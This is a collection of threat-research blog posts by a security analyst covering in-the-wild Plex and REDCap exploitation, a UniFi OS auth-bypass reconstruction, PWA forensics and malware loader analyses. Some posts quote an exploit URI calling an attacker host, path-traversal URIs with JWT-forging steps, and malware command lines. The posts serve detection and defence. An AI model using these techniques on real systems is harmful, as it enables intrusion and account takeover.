Plex vulnerabilities being exploited in the wild to drop a cryptominer

Intro:

(No AI was involved in writing, research, etc...)

If you see weird fonts and spacing, blame Blogger. 

Skip to "In the wild exploitation" if you just care about that part. 

It's just a cryptominer. On one hand that's not a big deal for victims on the other hand, I don't get interesting c o n t e n t to write about. 

I wouldn't be surprised if threat actors deploy more sophisticated things. Plex may be hosted on residential IP and I think threat actors would love to have residential IP proxy to access corporate VPNs and emails. (edit: see update at the bottom. i do see proxy being deployed now)

Back on September 1st, 2026, Plex sent out emails and did a security announcement regarding important security updates. See the post here: https://forums.plex.tv/t/important-security-update-for-plex-media-server-v1-43-2-and-earlier/942319

As an infosec person and a Plex user, I was really curious about what this vuln was and if I could see in-the-wild exploitation. I set up a honeypot w/ a vulnerable Plex version running.

The details were limited and they said that they'd update the page with more details so I kept watching and didn't see anything. 

Finally, on Sep 26th, I saw some CVE's get published here: https://www.cvedetails.com/vulnerability-list/vendor_id-14994/year-2026/Plex.html  but none of them had CVSS score of 9+. They did contain a link to a blog post which was not released at the time. 

Link was to https://zmain.info/blog/plex2shell and release was supposed to be mid Oct so I waited and finally saw an update on Oct 16th (yesterday). The author had discovered and chained several vulns together to get remote code exec which was pretty cool. 

CVE's:

CVE-2026-96652

CVE-2026-96654

CVE-2026-96655

CVE-2026-96656 

Here's their code: https://github.com/code-zm/plex2shell/

I did do testing in the lab. Here are pcaps for detection/signature work: https://github.com/BoredHackerBlog/plex2shell_pcap

Plex2Shell In the wild exploitation:

My honeypot mostly saw scanning and generic exploitation attempts.  

As of this morning (Oct 17th), I finally saw in the wild exploitation.

So by default, I don't allow outbound traffic from my honeypots but due to how this vuln works, I had to go modify my settings later on so sadly I didn't get payloads for all the attacks. It's possible that I have partial data. I haven't gone through pcaps and I had to modify settings for tcpdump anyway. The attacker could be using slightly modified code & technique too.

 

Here's what I observed:

First exploitation attempt came from 45.194.92.222. From zeek logs:

 "uri": "/player/timeline/subscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&protocol=http://127.0.0.1:32400/system/agents/z/searchOne?mediaType=1&lang=en&identifier=com.plexapp.agents.thetvdb%2Ffunction%2FGetResultFromNetwork%3Furl%3Dhttp%3A%2F%2F127.0.0.1.45-194-92-222.sslip.io%3A8952%2FTKN_1681033e9a73_17471%23&port=8952&commandID=1&X-Plex-Target-Client-Identifier=poc_0cf927be72d2_17471",
  "user_agent": "Python-urllib/3.10",

 

The following two IP's were seen doing exploitation as well:

91.92.40.202

176.65.139.228 

 

I went back and changed my honeypot configuration to allow outbound traffic and saw continued exploitation from 45.194.92.222. 

This time I did see in the logs that there was a file download happening from 217.60.194.116.

 

 The following was contained inside of the docker file:

Of course it's a cryptominer. 

 

IOCs:

For detection of the attack, look at my github pcap link and source code from the main author. 

This is just for what was seen on the honeypot.

IP's responsible for exploitation as of writing this:

91.92.40.202

176.65.139.228

45.194.92.222 

176.65.139.228

Malicious file download source:  

217.60.194.116 (docker & x)

File hashes:

5712ef510481f15fe8b18fdd10b73026d57cb3d9d151878a692358b99a464441  docker

68938fb428f2bcfef4ede62f7b29cd0f15f37ed59e94462c099f2ca64e36baa7  x (upx packed)

b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49  x (upx unpacked)

EDIT: Oct 17th, 2nd update:

Seeing more activity and I dropped artifacts on Github. 

 

 

Saw "myawesomeproxy" running as well (I don't have time to analyze it but its on github now)

 

Hashes: 

e546b10aee5edc754da4f9b0baace00392257121911f630145078eafad1e6bd9  myawesomeproxy

2d3c618b21a7e2f8bcd735da188e44a7609ff3f204832dd0781cd09e4388c9db  xmrig 

 

Here's what it prints when running:

"Running this software on any of your devices makes you agree to the potential external use of your internet traffic"

 

My sandbox reports for myawesomeproxy: 

https://app.any.run/tasks/570b38df-d866-4ac8-93c2-ed2792c3478f

https://tria.ge/261017-3ytcaady7p 

https://tria.ge/261018-ab8jgady9p

I see some traffic related to proxystream.st and found this: https://www.bitsight.com/blog/who-invited-aisuru-lan-party

similar sample found through googling: https://www.joesandbox.com/analysis/1934662/0/html

https://www.virustotal.com/gui/file/e4593f7938e76dfb40a3fe5358dfae231ef539a02ef3fda35bbccd6d2b7cdc22/detection

EDIT: Oct 18th, 2nd update

After not seeing much about this, I finally logged into my million year old reddit account and started this discussion to see if anyone else was impacted: https://www.reddit.com/r/PleX/comments/1x95krg/inthewild_exploitation_of_old_plex_servers/

The person who discovered the vuln did publish detections here: https://github.com/code-zm/plex2shell/tree/main/detection  

REDCap exploitation in 2023

Intro

I saw Google Threat Intelligence teams article regarding REDCap exploitation here: Public and Private Medical Community Targeted by China-Nexus Threat Actor Pursuing Artificial Intelligence, Cyber, Medical, and National Defense Research - https://cloud.google.com/blog/topics/threat-intelligence/prc-targets-us-medical-research

"The earliest known compromise occurred in September 2023, after which GTIG observed a consistent operational pattern. The threat actor exploited externally facing REDCap (Research Electronic Data Capture) servers and deployed custom malware named INFINITERED to capture legitimate REDCap login credentials. " -from the article

They also said the following: "GTIG was not able to confirm how UNC6508 initially gained access to the REDCap server. " 

This article caught my attention because I (technically, Crowdstrike generated the alert) saw REDCap getting exploited in 2023 as well but it was different and I never got closure on how it was exploited. I did a ton of searching online and read patch notes but never figured out how the exploitation may have happened. 

The exploitation I saw was a bit different than what Google Threat Intelligence group saw. I'm posting this to share what I saw. 

 

Activity seen

This activity was observed in September 2023. 

Crowdstrike alerted on Apache process spawning some bash commands.

Apache server was hosting REDCap app. I'm unsure about the version. 

One of the commands was for doing bash reverse shell via bash -i >& /dev/tcp technique. 

Searching the rev shell destination IP shows a report by Fortinet regarding the IP exploiting TeamCity vuln in 2023 and actor potentially being APT29. (just mentioning what I saw. I'm not doing attribution. I also know what Pyramid of Pain is as well.)

There was another command that was executed. It was sh -c echo BASE64 | base64 -d | tee DIRECTORY/update.php

This wrote a basic php shell to disk, which took GET request w/ "update_process" AND "cmd" parameters and executed commands via system().

(I kept watching VirusTotal for the file hash and content expecting some web admin to find the file and upload it but I have not seen this file get uploaded. Could be because its easy to read and see its just a simple webshell)

 

Log review did not show any commands in URI's or provide clear info on how this exploitation could've happened. 

This may have been done via POST request, though some cookie values or headers, abuse of existing compromise, or some other way. I have no idea. The software isn't open source so there isn't anything I could've done further to research how the compromise happened. 

In 2024, assuming that the threat actor exploited more REDCap instances the same way, I did some research. I did find multiple (maybe about 50) compromised REDCap instances, all over the world. There were various REDCap versions seen being hosted on various servers (apache, nginx, etc..). It's always possible that an older version was exploited then the victim updated and I saw compromised server with different version.

Conclusion

Maybe check for file update.php w/ content  "update_process" AND "cmd" on your redcap server or check web traffic logs for URI containing update.php AND update_process AND cmd? I'd hope the file was detected and cleaned up by now since this happened in 2023.

I'd love to know more details about how the initial exploitation happened and what the attackers actually did afterwards.

At the end of the day, I'm just a soc analyst with limited telemetry and there is always another alert in the queue that needs to be worked... :( 

 

How Unifi OS exploitation may have happened

Note: if images or formatting is broken, blame Blogger. 

Jun 5 EDIT: I found Bishop Fox post today regarding this (them doing patch reversing and finding a way to get revshell is pretty cool!): https://bishopfox.com/blog/popping-root-on-unifi-os-server-unauthenticated-rce-chain-detection-analysis

Also here's my poc script if anyone wanted to try doing this the way i did: https://gist.github.com/BoredHackerBlog/b2ba31f7ab6a5b2f3eb619f7b44eb2c5 

/EDIT 

Jun 6 EDIT: after reading through the Bishop Fox post, I figured out how to get unauth command exec. 

(obviously, original vuln reporters mentioned in advisory and bishop fox researcher did all of the hard work) 

 

This whole thing was fun but I think I'm done now. 

/EDIT

 

 (from discord)

 

What's going on?

Last week when I was on break doing training, I saw a reddit post regarding someones Unifi having an account added. Someone got admin user "John Sim" added & removed to/from their device.

In the replies, there were other people saying that this happened to them as well. I was going to look into this and maybe even set up a honeypot but I didn't have time.

 

Post: https://www.reddit.com/r/Ubiquiti/comments/1tnygst/super_admin_added_whilst_on_holiday/

 

Today I saw another post regarding this activity (post is like a week old but i saw it today)

This new post had URI info for the attack. I'm not sure if it's all the URLs in their logs though. 

 

Post: https://www.reddit.com/r/Ubiquiti/comments/1tp9san/aidriven_campaign_appears_to_be_targeting/

 

Unifi Post about multiple vulnerabilities: https://community.ui.com/releases/Security-Advisory-Bulletin-064-064/84811c09-4cf4-42ab-bd61-cc994445963b

For affected products, it says: UniFi OS Server (Version 5.0.6 and earlier)

 

The setup

I actually didn't find 5.0.6 version for UDR7 and I didn't want to go lower. I just had reset and rebuilt my whole network.

I found Unifi OS for Windows with version 5.0.6 and installation was easy so I went with that.

Download page: https://ui.com/download/software/unifi-os-server

This is what I installed: UniFi OS Server 5.0.6 for Windows (x64)

So I have Unifi OS 5.0.6 running for testing and I have my UDR7 with latest updates and SSH access (this comes in handy later).

Research 

skip to exploitation section at the bottom if you don't care about my methodology & extra commentary 

 

I believe I'm looking at CVE-2026-34909: "A malicious actor with access to the network could exploit a Path Traversal vulnerability found in UniFi OS devices to access files on the underlying system that could be manipulated to access an underlying account." (source: Unifi Advisory) 

 

I started by going to /proxy/users/public/avatar/x?filename=../../../../data/unifi-core/config/jwt.yaml

This gets me the JWT secret.  

 

 Next I logged into Unifi OS to see what the auth activity looks like and there is JWT token!

 

 JWT.io was used for decoding. Decoded data looks like this:

 

The next URI in reddit post is /api/auth/validate-sso/../../../proxy/users/api/v2/identity/user/owner/credential where the attacker gets 200 response. 

I visited the URL and did not get 200. 

 

At this point, I started modifying the JWT token. 

I noticed that jti and csrfToken fields didn't matter. exp field can be anything in the future. it's epoch timestamp. userId needed to be correct and same with passwordRevision. 

I crafted a new JWT token and tried it against validate-sso URI and it worked! 

 

 

Now I'm wondering how did the threat actor get legitimate userId and passwordRevision data?

The reddit post didn't mention anything else.

I ssh'ed into my UDR7 and went to the directory where the jwt.yaml file came from and started looking for passwordRevision and userid.

I found out that there is a json file that contains passwordRevision. unique_id that you see is the userId. 

 

 

I sent a request to /proxy/users/public/avatar/x?filename=../../../../data/unifi-core/config/cache/users.json. This is the second use of that traversal vuln, without auth token. 

This gets us everything we need. With jwt secret and this data, we can craft the correct token.  

 

 

What about adding users?

This is what legitimate user addition request looks like:

 

Can we add users with JWT token we crafted?

 Yes! Just make sure that the CSRF token in your request matches the token in your JWT token.

 

 

  

 Exploitation

 Here's what the process looks like from the testing I've done.

1. Request jwt.yaml

extract secret 

2. Request users.json

extract unique_id and password_revision for admin

3. Create valid JWT token

4. Use token and send request to validate-sso/credential URI and check for 200!

 

 

 

 

End

I'm not exactly sure if this is the exact method the threat actor was using. I don't have a honeypot. I don't have logs/forensic data either. I don't know of anyone that can go replicate this for me either. 

The Ubiquiti Security Advisory shows multiple vulns so there might be more things going on. 

I'm not sure about how many people have vuln Unifi OS and have it exposed to the internet. Obviously, people on reddit who got compromised did but I feel like there shouldn't be too many vulnerable setups out there but who knows. 

Someone (not me) should probably make a nuclei template for this.

 

Thanks to https://github.com/InfosecExtra for bouncing around ideas. 

 

Progressive Web Apps (PWA) on Windows - forensics and detection of use

Introduction

Progressive Web app (PWA) is just a webapp that can be installed as an app on a system and runs in a browser when you open it from desktop or other places. Links under resources have more details/specifics. 

While on twitter, I saw a tweet from mr.d0x (who does great research and runs many useful projects) about using PWA for phishing.

Essentially, the user is made to install PWA app, once they install the app, the app pops up with phishing page. Since the attacker made the app, the attacker can control what the app UI looks like. In the phishing attack, the app has phishing page with URL bar deceptively showing official MS login URL. 

https://mrd0x.com/progressive-web-apps-pwa-phishing/

As someone who does blue team as a job 😢, I was thinking about how I'd go find PWA's being used in my environment. 

I'd like to start by looking at logs, such as process execution logs or file write logs, then start looking for what other artifacts are generated on disk, if logs aren't available and forensics being done. 

PWAs can be installed with multiple browsers. I will just focus on Chrome for now but research can be replicated with other browsers. 

Analysis

Since I don't have PWA app of my own to mess with, I just Googled for demo apps that I can try in a lab environment and Microsoft has a dedicated page for some demo apps. 

I loaded up one of the demo apps in Anyrun and Triage. The sandboxes provide enough info to then figure out what you'd look for in logs or on disk. 

App: https://microsoftedge.github.io/Demos/pwamp/

Reports:

https://app.any.run/tasks/6467ee70-96d3-41dd-8094-c1ec77ac4baa

https://tria.ge/240619-21m3lszgll/behavioral1

Initially, once the app is installed, the app opens up in a new window. There doesn't seem to be any specific process execution activity. 

A shortcut file is written to the Desktop for the app. 

Shortcut link opens the PWA in a very specific way, which is nice. With Chrome, chrome_proxy process is opened with --app-id and specific app id. 

That's not all, there is a secondary process spawned by Chrome_proxy. It's chrome, but with shortcut link file name and app id. 

There are also registry changes that happen around the installation process, specifically, Anyrun highlights creation of uninstallation entry. 

The uninstallation entry located at HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\9A3477235286E8A16E2ECE78681F58F7 contains the following:

link to icon file - C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_gpkmcolhnceikobakadkpfhphmboeeog\PWAmp music player.ico

uninstall string - "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory=Default --uninstall-app-id=gpkmcolhnceikobakadkpfhphmboeeog

Version

App display name - PWAMP MUSIC PLAYER

Install date

Publisher - GOOGLE\CHROME 

That's not all, there are more interesting registry changes that happen.

Location: HKEY_CLASSES_ROOT\Chrome.2257410145\Application & HKEY_CLASSES_ROOT\Chrome.1969634003\Application have more info about the app:

Chrome also makes some folders/files for the app.

Chrome makes app info available as well.

Chrome app service internals page has even more details

Preferences file in C:\Users\user\AppData\Local\Google\Chrome\User Data also has info about the app and the exact link. 

Logs

Process execution logs - 4688 or sysmon event id 1 should show the use of PWA apps. Execution of chrome_proxy and chrome with some of the parameters/args shown in the examples above is what I'd look for. 

File write - There are multiple file write events. Easiest things to look for is lnk file in Chrome Apps folder and creation of files in Web Applications folder in "AppData\Local\Google\Chrome\User Data\Default". 

You could look at .lnk file creation on Desktop by Chrome process too.

Registry changes - Sysmon has multiple events related to registry operations. Looking for uninstall entry and Chrome app creation like "HKEY_CLASSES_ROOT\Chrome.2257410145\Application" could be interesting.

File system/registry artifacts

If you don't have logs but still have disk access to do forensics, it should be pretty easy to grab and parse registry files to find the PWA app info in locations listed above. Same goes for files and folders created during PWA app installation. 

Chrome and Windows keeps timestamp info regarding installation in the logs/registry too which can be helpful in determining timeline.

As mentioned above, Preferences file has useful info as well.

Reviewing App_* files in C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions\ might be useful too. 

Conclusion

PWA apps are legitimately used by many orgs and hunting across the env. or doing forensics won't always lead to anything interesting. 

I haven't done too much research but as far as I know, I haven't seen threat actors abuse PWA and I'm not sure if any will start.

There are for sure more spots where artifacts of PWA use can be found (storage, logs, sqlite files, etc) that I didn't find/dive into. Also, it's possible each browser behaves differently. 

Resources

https://en.wikipedia.org/wiki/Progressive_web_app

https://developer.mozilla.org/en-US/docs/Web/Progressive_web_apps

https://mrd0x.com/progressive-web-apps-pwa-phishing/

https://blog.nviso.eu/2020/01/16/deep-dive-into-the-security-of-progressive-web-apps/

https://learn.microsoft.com/en-us/microsoft-edge/progressive-web-apps-chromium/demo-pwas

observed in the wild - batch obfuscation technique and an interesting way to run powershell code

Saw these two things in the wild while looking at some samples.

Batch Obfuscation

Malicious batch file was found and when opened in notepad/visual studio code, the code/text was not readable. The text was in another language.

When opening the file with hex editor or doing strings, batch commands were seen clearly. When the batch file was ran in command prompt, it worked just fine. The commands seen setting variables worked correctly. Only issue was that you couldn't easily read the file with visual studio.

When reviewing the obfuscated batch file in hex editor and comparing it to normal text file, the following bytes were seen in the front: fffe0d0a before normal ascii.

Turns out this isn't brand new. There is a blog by OneConsult discussing this technique:

https://www.oneconsult.com/en/blogs/dfir-analysts-diary/batch-file-obfuscation-incident/

Blog also points to https://github.com/SkyEmie/batch-obfuscator, which provides a tool.

Personally, I took the obfuscated batch file into hex editor and removed fffe0d0a from the front and opened it again in visual studio code and worked just fine.

I don't have a sample/hash I can link here right now. :-( 

Loading powershell code in a weird way

Another sample I was looking at ran powershell code with Get-Content and SubString. 

Sample is here: https://tria.ge/240307-fj3k3see34/behavioral1 

https://www.virustotal.com/gui/file/4490ebc3a2c6260e09ef8f4f71c08a7afc809630e56ec9e8e215a04935bb0394/behavior 

This is the interesting part:

"powershell" -windowstyle hidden "$Undgaaelsers=Get-Content 'C:\Users\Admin\AppData\Local\Butikstidens150\heluldent\retrtens\Befingringernes\Souchie\indlsninger\Casement.Sub';$Inferably=$Undgaaelsers.SubString(55257,3);.$Inferably($Undgaaelsers)"

1. Get-Content reads powershell text file into a variable, the file just has 1 long line, which includes comments and actual powershell code.

2. SubString is used to extract iex from the variable (the powershell text file)

Loading the substring part in python:

>>> psfile[55257:55260]

'iex'

3. IEX is used to run the variable (the powershell text file)

I thought it was an interesting way of doing things and this was the first time I've seen it done with Powershell.

If you're hunting, maybe look for command line containing Get-Content and SubString?

Speeding up report reading and security/SOC alert triaging by auto-highlighting keywords on webpages

Introduction:

If you're a security analyst or threat researcher, you may spend a lot of time reading reports/blogs or looking through SIEM. 

It might get annoying to look for specific keywords/fields when looking through things, especially SIEM output. I know I had this issue.

I thought it'd be nice to have an extension that auto-highlighted things for me. While looking for such extension I found "Highlight This" extension. There are multiple extensions like that but this one took URL's of keywords so I thought it was perfect to pair it with Github as I may be adding/removing keywords.

Extension can be found here: https://chromewebstore.google.com/detail/highlight-this-finds-and/fgmbnmjmbjenlhbefngfibmjkpbcljaj?pli=1

Developers sites:

https://highlightthis.net/

https://deboel.eu/

The extension developer does have an optional subscription service which gives you additional abilities. (https://highlightthis.net/Subscription.html ) 

Github repo I'm using this with is here: https://github.com/BoredHackerBlog/highlight_keywords

You should probably make your own list based on your needs.

Setup:

Download the extension and remove the default list. Activate subscription or activate free version (or try unlimited version for a limited time)

Add a new list. In my case, I'm pulling a list of keywords from Github so I can keep updating the list on Github in the future.

Add a list URL and customize all other options then start browsing!

I disabled "Only detect complete words" which can cause some bad highlighting, I'd recommend messing around and finding what works best for you.

The extension also gives you a report of the things it detected:

Results:

The DFIR Report page kinda looks like this:

https://thedfirreport.com/2023/12/04/sql-brute-force-leads-to-bluesky-ransomware/

Some XML sample logs

https://github.com/BoredHackerBlog/mitre_attack_xml_eventlogs/

Quick sample analysis which ended up dropping asyncrat

 I came across a sample that involving traffic to 91.92.242.28:222.

There is sandbox report here: https://tria.ge/231113-v9lgtaec41

I only looked at it because it involved so many files.

This is very quick and lazy analysis. I didn't spend time decompiling .NET.

At the time of analysis, the page has open directory.

There is a script and .jpg file which is a zip file.

Script downloads zip and extracts it to Public folder and initially starts f1.vbs file.

Zip files has several files:

f1.vbs ends up launching f1.bat

f1.bat ends up launching powershell and f1.ps1

Powershell sets up a scheduled task to launch tron.vbs

tron.vbs launches tron.bat

tron.bat launches tron.ps1

This is where things are kinda interesting (relative to all the stuff above...)

Powershell has functions to decode/deofuscate the other files

If we look at runpe and msg file, which the script next loads, it's pretty easy to see partial MZ header

Next it loads text from files for execution

It would finally run this:

$Coment is runpe.txt data and $JR is msg.txt data.

$u = [Reflection.Assembly]

$u::Load($Coment).GetType(NewPE2.PE).GetMethod(Execute).Invoke($null,[object[]] (C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe,$null,$JR,$true))

https://learn.microsoft.com/en-us/dotnet/api/system.reflection.assembly.load?view=net-7.0 

I saved the PE files after they were decoded/deobfuscated. 

msg was asyncrat

https://www.virustotal.com/gui/file/a11cc3de26de3241be5f24c8c0d3e44b16e4fee35b8a306026e86590ccd8a0c1?nocache=1

runpe was injector

https://www.virustotal.com/gui/file/a550a06a66009040462411867fce966b24499290d08bac8b3596f715cd5c6596?nocache=1

So many files and so much execution just to drop asyncrat.